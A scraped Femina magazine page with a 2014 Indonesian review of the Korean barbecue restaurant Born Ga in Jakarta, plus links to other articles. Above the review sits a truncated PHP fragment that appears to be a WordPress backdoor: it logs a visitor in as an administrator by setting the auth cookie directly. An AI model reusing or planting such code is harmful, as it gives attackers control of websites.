Korean Barbecue Nikmat

user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */

Food Trend

24 Mar 2014

Foto celebrity chef Jong Won Paik terpampang di eksterior restoran Born Ga, di ruas Jl. Wolter Mongonsidi, Jakarta Selatan. Nama baik sang chef, sang pemilik, sepadan dengan konsistensi kualitas sayuran dan daging-dagingan dalam sajian Korean barbecue-nya.

Perhatikan irisan daging sapi segar di sajian seperti Woo Sam Gyub atau Yangyum Galbi. Berona merah memikat, dengan tekstur lunak. Hmm, indikator awal dari daging sapi yang mantap. Setelah dibakar, terasa saripati daging merah yang gurih.

Pendamping khasnya, berupa sekotak panjang isi sayuran lalap, begitu berlimpah dan tampak segar. Sebagian besar dipetik dari kebun sayur di Cipanas milik sepasang suami-istri Korea. Langkah meminimalkan jejak karbon yang ujung-ujungnya menghasilkan sayuran dengan tekstur yang lebih crunchy dan kandungan nutrisi yang lebih baik. Oh, ya, sajian Japchae dan Haemul Pajeon juga wajib pesan!

"Sebagai peminat makanan sehat, saya suka banget Saeng Galbi, yakni iga sapi yang telah di-marinate dengan buah-buahan, sehingga dagingnya superlembut dan juicy. Cocok disertai sayuran segar dan saus ssamjang," ujar Yuda Bastara, chef yang tengah naik daun mengenai sajian Born Ga. (f)

Clean Cut Emporio Armani

Aksi Sosial SOPHIE

Terbesar! 320 Jenama Ikut Meramaikan Brightspot Market 2025

Future Archive jadi tema Brightspot Market 2025 yang digelar pada 29 Mei-1 Juni dan 5-8 Juni 2025.

Besok, Hidangan dari Buku Pusaka Rasa Nusantara Karya Chef Ragil Ada di Conrad Bali

Memperkenalkan buku istimewa, menunjukkan ke warga Bali akan kayanya Nusantara.

Disney On Ice: Find Your Hero Bakal Tampil di Jakarta dan Surabaya

Siapa yang sudah rindu karakter Disney yang meliuk-liuk di atas es? Siapkan dirimu untuk kehadiran Disney On Ice presents Find Your Hero.

recommended

Menikmati Tradisi yang Terus Bergerak di SU MA Volume 6, Passage

Chef Brendon Chen dan Chef Ryan Kim membawa SU MA ke babak berikutnya dan Femina diajak mencoba.

VW Tour, Movie Night, hingga Floating Dinner, Cara Menikmati Sisi Lain Kamandalu Ubud

Aktivitas seru yang membuatnya jadi destinasi menarik bersama para bestie!

5 Cara Lebih Mindful Menghadapi Situasi Saat Ini

Dunia lagi ramai, kamu nggak harus ikut panik.

Penting untuk Tim Rebahan, 3 Hal Wajib Dilakukan Saat Weekend Selain Beres-beres

Lalu, harus ngapain, dong?

Kosha Mangsho, Semakin Lama Dimasak Semakin Sedap!

Kuahnya cenderung kental, gelap, dan kaya rempah, berbeda dengan kari India Utara yang kuahnya lebih encer.

5 Cara Menikmati Tengah Minggu Meski Lagi Sibuk-sibuknya

Belum juga akhir pekan, tapi kamu keburu Lelah fisik dan mental?

about

Femina is a magazine for smart, independent, modern Indonesian women.

digital magazine

Available at :

(021) 250 333 28
langganan@pranagroup.id